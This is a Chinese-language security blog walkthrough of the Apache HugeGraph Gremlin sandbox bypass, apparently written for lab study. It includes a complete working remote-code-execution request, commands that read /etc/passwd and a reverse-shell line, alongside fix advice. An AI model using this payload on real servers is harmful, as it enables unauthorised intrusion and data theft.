本文为安全学习与授权测试用途,所有操作均在本地靶场完成,请勿用于未授权目标。
0. 先说这个洞最离谱的地方
图数据库这类系统,平时安全关注度不高。但 Apache HugeGraph 这个漏洞实在太"看脸"了——它的安全沙箱只检查当前线程名是不是以特定字符串开头,攻击者用反射把线程名一改,沙箱就形同虚设,随后可以提交任意 Groovy 代码直接调用系统命令。
这就好比你家小区门禁只检查访客穿没穿"工作人员"马甲,而不核对工牌——我随便找件马甲套上,就能大摇大摆走进去。
这篇文章我会把漏洞原理讲透,带你在本地把靶场搭起来,一步步走到命令执行,并重点拆解一个几乎所有人都会踩的坑:为什么 id 能执行,换成反弹 Shell 命令就直接报错? 理解了这个坑,你对"命令执行"和"真正拿下服务器"之间的距离会有全新的认识。
1. 漏洞背景
1.1 HugeGraph 是什么
Apache HugeGraph 是百度开源的一个分布式图数据库,主打高性能和水平扩展,在知识图谱、推荐系统、关系网络分析这些场景里用得不少。
它提供了一个 Gremlin API,支持用户提交 Groovy 脚本来做图遍历和计算。这里要划重点:Groovy 本身是一门完整的 JVM 语言,能力远超"查一下图里的边"——它能直接调用 Java 类库。
也就是说,如果不做限制,Groovy 可以直接调用这些操作系统级别的敏感 API:
Runtime.getRuntime().exec("命令");
new ProcessBuilder("命令").start();
1.2 沙箱是怎么被绕过的
开发团队当然知道 Groovy 能力太强,于是加了一个 SecurityManager 做沙箱限制。
问题在于这个沙箱的校验逻辑极其简单,核心判断只有一条:当前线程名是否以 gremlin-server-exec 或 task-worker 开头,是就放行。
攻击者要做的,就是用反射拿到当前线程,把线程名改成以 gremlin-server-exec 开头,然后提交任意 Groovy 代码——剩下的就是服务器替你干活了。

1.3 影响版本
这个漏洞影响 1.3.0 之前的所有版本,官方在 1.3.0 中修复了线程名校验逻辑。
2. 环境搭建
直接用 Vulhub 拉环境,一行命令启动靶场:
docker compose up -d
启动后 HugeGraph 默认监听 8080 端口,浏览器访问 http://你的靶机IP:8080,能看到 HugeGraph 的各个接口信息,就说明环境就绪了。
提示:如果镜像拉取慢,可以配置 Docker 国内镜像加速器。靶场环境建议用 2核4G 以上的服务器跑,内存太小容器可能起不来。
3. 漏洞复现
漏洞利用的核心是两步:先用反射改线程名绕过沙箱,再构造 ProcessBuilder 执行命令。
3.1 完整数据包
把下面的请求复制到 Burp Repeater 或用 curl 发送即可(注意把 Host 换成你的靶机地址):
POST /gremlin HTTP/1.1
Host: 靶机IP:8080
Content-Type: application/json
Connection: close
{
"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\\"java.lang.Thread\\");java.lang.reflect.Field field = clz.getDeclaredField(\\"name\\");field.setAccessible(true);field.set(thread, \\"SL7\\");Class processBuilderClass = Class.forName(\\"java.lang.ProcessBuilder\\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\\"id\\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\\"start\\");org.apache.commons.io.IOUtils.toString(startMethod.invoke(processBuilderInstance).getInputStream());",
"bindings": {},
"language": "gremlin-groovy",
"aliases": {}
}
3.2 第一段逻辑:反射改线程名
Thread thread = Thread.currentThread();
Class clz = Class.forName("java.lang.Thread");
java.lang.reflect.Field field = clz.getDeclaredField("name");
field.setAccessible(true);
field.set(thread, "gremlin-server-exec-xxx");
逐行解释:
- Thread.currentThread() 拿到当前正在执行的线程对象;
- getDeclaredField("name") 反射拿到 Thread 类的 name 字段(线程名就存在这里);
- setAccessible(true) 关闭 Java 的访问控制检查——因为 name 是私有字段,不改这个无法写入;
- field.set(thread, 新名字) 直接把线程名改掉。只要新名字以 gremlin-server-exec 开头,后续所有操作都会被沙箱当成"合法内部调用"。
这里体现了反射的威力: Java 的 private 访问控制只在"正常写代码"时生效,一旦攻击者通过反射调用 setAccessible(true),这层保护就被绕过了。
3.3 第二段逻辑:构造命令执行
Class processBuilderClass = Class.forName("java.lang.ProcessBuilder");
java.util.List command = java.util.Arrays.asList("id");
Object processBuilderInstance = constructor.newInstance(command);
startMethod.invoke(processBuilderInstance).getInputStream();
- 用反射拿到 ProcessBuilder 类(它用于启动外部进程);
- 把命令 id 包装成 List 传入;
- 反射调用 start() 方法启动进程;
- 最后用 IOUtils.toString() 读取命令的输出流,通过 Groovy 的返回值回显出来。
发送后,响应中回显了 uid=33(www-data),说明我们已经能在服务器上执行任意命令了。
3.4 执行其他命令
把命令换成带参数的,比如读取系统账户文件,注意要把命令和参数拆成 List 的独立元素:
java.util.List command = java.util.Arrays.asList("cat", "/etc/passwd");
这是 ProcessBuilder 和在终端敲命令的关键区别,下一节详细讲。
4. 重点拆解:为什么反弹 Shell 直接报错?
这是这个漏洞最有学习价值的地方。很多同学一看 id 能执行,就想当然地把命令换成反弹 Shell:
java.util.Arrays.asList("bash", "-i", ">&", "/dev/tcp/攻击IP/9999", "0>&1");
结果服务器直接返回 500 错误。
4.1 根因:ProcessBuilder 不经过 Shell 解析
我们平时在终端敲命令,其实是 Shell(bash 或 sh)在帮你做解析。>&、/dev/tcp/…、0>&1、管道符 | 这些符号,全都是 Shell 的特有语法,不是程序本身能理解的参数。
但 ProcessBuilder 不一样。它直接 fork 一个子进程执行指定程序,参数原样传递,不经过任何 Shell 解释。
当你写:
Arrays.asList("bash", "-i", ">&", "/dev/tcp/1.2.3.4/9999", "0>&1")
ProcessBuilder 的理解是:“启动 bash,传给它 4 个参数:-i、>&、/dev/tcp/…、0>&1”。
而在 bash 看来,>& 这种符号根本不是合法的命令行参数——它本该由 Shell 在启动 bash 之前就解析掉,现在却被当成普通文本传了进来,于是报错。
4.2 一个对比表帮你彻底理解
| 终端直接敲 bash -i >& /dev/tcp/… | Shell(bash)先解析 >& 等 | 正常 |
| ProcessBuilder 直接传 >& | 没有 Shell,符号原样当参数 | 报错 500 |
| ProcessBuilder 传 ["cat","/etc/passwd"] | 无特殊符号,cat 直接收参数 | 正常 |
| ProcessBuilder 传 ["bash","-c","命令字符串"] | bash -c 内部再解析字符串 | 取决于字符串内容 |
核心结论: 凡是包含管道、重定向、/dev/tcp、命令替换等 Shell 语法的命令,都不能直接丢给 ProcessBuilder,必须想办法让一个真正的 Shell 去解析它。
4.3 那到底怎么才能拿到 Shell?
思路其实已经摆在台面上了——既然 ProcessBuilder 不解析 Shell 语法,那就:
但这两条路在实际操作中都还有一堆细节要处理:编码用什么格式、花括号展开怎么写、如何分阶段把脚本落盘再执行、网络不通怎么排查……这些已经属于"从命令执行到 GetShell"的完整后利用环节,展开讲篇幅很长。
我把这部分完整的绕过过程(包括 Base64 编码、花括号展开、分阶段落盘、反弹 Shell 验证)以及一键利用脚本,都整理在了我的安全学习站点和社群里,需要的同学可以看文末方式获取。
5. 修复建议
- 升级 HugeGraph 到 1.3.0 及以上版本,官方修复了 SecurityManager 的线程名校验逻辑;
- 暂时无法升级时,在反向代理层(Nginx 等)对 /gremlin 接口做访问控制,只允许受信 IP 访问;
- 如果业务不需要动态 Groovy 执行,直接关闭或禁用 Gremlin API;
- 以非 root 用户运行服务,配合 Docker 的 –cap-drop=ALL 等安全配置限制进程权限;
- 部署 WAF,对 /gremlin 请求体做规则匹配,拦截包含 ProcessBuilder、getDeclaredField、Runtime 等关键词的 payload。
6. 写在最后
这个漏洞技术门槛不算高,但它暴露了一个非常典型的问题:安全校验只做了表面功夫。
只看线程名、不看调用来源,跟门卫只看你穿没穿制服、不看工牌一样,这种检查在真实攻击面前不堪一击。而那个"ProcessBuilder 不解析 Shell 语法"的坑,则是几乎所有命令执行类漏洞走到 GetShell 时都会遇到的共性问题——搞懂它,比单纯跑通一个 id 要有价值得多。
如果你希望看到这个漏洞从命令执行到反弹 Shell 的完整 GetShell 链路,以及更多真实漏洞的全流程拆解,可以访问我的安全学习站点:
- 站点地址:详见文章头部官网:【光跃Eason·安研社】
- 里面有完整的漏洞实战导航、入门到进阶的体系化文章,以及配套的靶场环境和探测脚本;
- 也可以加我微信交流,微信号在站点【加入星球 / 联系】页面。
我会持续更新真实漏洞的复现过程和踩坑经验,我们下篇文章见。
免责声明:本文仅用于网络安全研究与教学,所有测试均在本人授权的靶场环境中进行。请严格遵守《网络安全法》,切勿对任何未授权系统进行测试。技术本身中立,关键在于使用它的人。
网硕互联帮助中心





评论前必须登录!
注册